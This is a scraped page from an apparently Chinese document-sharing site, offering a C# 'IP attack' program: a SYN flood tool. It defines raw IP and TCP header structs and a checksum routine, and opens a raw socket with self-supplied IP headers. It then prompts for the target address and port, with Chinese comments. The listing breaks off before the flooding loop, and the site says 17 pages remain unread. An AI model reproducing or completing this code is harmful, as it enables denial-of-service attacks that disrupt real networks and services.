没有合适的资源?快使用搜索试试~ 我知道了~
首页c# IP攻击c# IP攻击
资源详情
资源评论
资源推荐

using System;
using System.Net;
using System.Net.Sockets;
using System.Threading;
// 需要的命名空间不用解释了吧
namespace syn
{
public struct ipHeader
{
public byte ip_verlen; //4 位首部长度 +4 位 IP 版本号
public byte ip_tos; //8 位服务类型 TOS
public ushort ip_totallength; //16 位数据包总长度(字节)
public ushort ip_id; //16 位标识
public ushort ip_offset; //3 位标志位
public byte ip_ttl; //8 位生存时间 TTL
public byte ip_protocol; //8 位协议
(TCP, UDP,
ICMP, Etc.)
public ushort ip_checksum; //16 位 IP 首部校验和
public uint ip_srcaddr; //32 位源 IP 地址
public uint ip_destaddr; //32 位目的 IP 地址
}
public struct psdHeader
{
public uint saddr; // 源地址
public uint daddr; // 目的地址

public byte mbz;
public byte ptcl; // 协议类型
public ushort tcpl; //TCP 长度
}
public struct tcpHeader
{
public ushort th_sport; //16 位源端口
public ushort th_dport; //16 位目的端口
public int th_seq; //32 位序列号
public uint th_ack; //32 位确认号
public byte th_lenres; //4 位首部长度 /6 位保留字
public byte th_flag; //6 位标志位
public ushort th_win; //16 位窗口大小
public ushort th_sum; //16 位校验和
public ushort th_urp; //16 位紧急数据偏移量
}
// 这 3 个是 ip 首部 tcp 伪首部 tcp 首部的定义。
public class syn
{
private uint ip;
private ushort port;
private EndPoint ep;
private Random rand;
private Socket sock;

private ipHeader iph;
private psdHeader psh;
private tcpHeader tch;
public UInt16 checksum(UInt16[] buffer, int size)
{
Int32 cksum = 0;
int counter;
counter = 0;
while (size > 0)
{
UInt16 val = buffer[counter];
cksum += Convert.ToInt32(buffer[counter]);
counter += 1;
size -= 1;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >> 16);
return (UInt16)(~cksum);
}
// 这个使用来计算校验码的我照抄 c# 实现 ping 那文章的方法, 反正 ip 协议计算校验码方法都一 样
public syn(uint _ip, ushort _port, EndPoint _ep, Random _rand)

{
ip = _ip;
port = _port;
ep = _ep;
rand = _rand;
ipHeader iph = new ipHeader();
psh = new psdHeader();
tch = new tcpHeader();
sock = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.IP);
sock.SetSocketOption(SocketOptionLevel.IP, SocketOptionName.HeaderIncluded, 1);
// 这 2 个挺重要,必须这样才可以自己提供 ip 头
}
// 传参数的多线程需要用到代构造函数的对象。
static void Main(string[] args)
{
Console.WriteLine("1 、输入攻击 ip 或域名 ");
try
{
IPHostEntry pe = Dns.GetHostByName(Console.ReadLine());
uint ip = Convert.ToUInt32(pe.AddressList[0].Address);// 这是要攻击的 ip 并转为网络字
节序
Console.WriteLine("2 、输入攻击端口 ");
ushort port = ushort.Parse(Console.ReadLine());
IPEndPoint ep = new IPEndPoint(pe.AddressList[0], port);
剩余17页未读,继续阅读
















安全验证
文档复制为VIP权益,开通VIP直接复制

评论1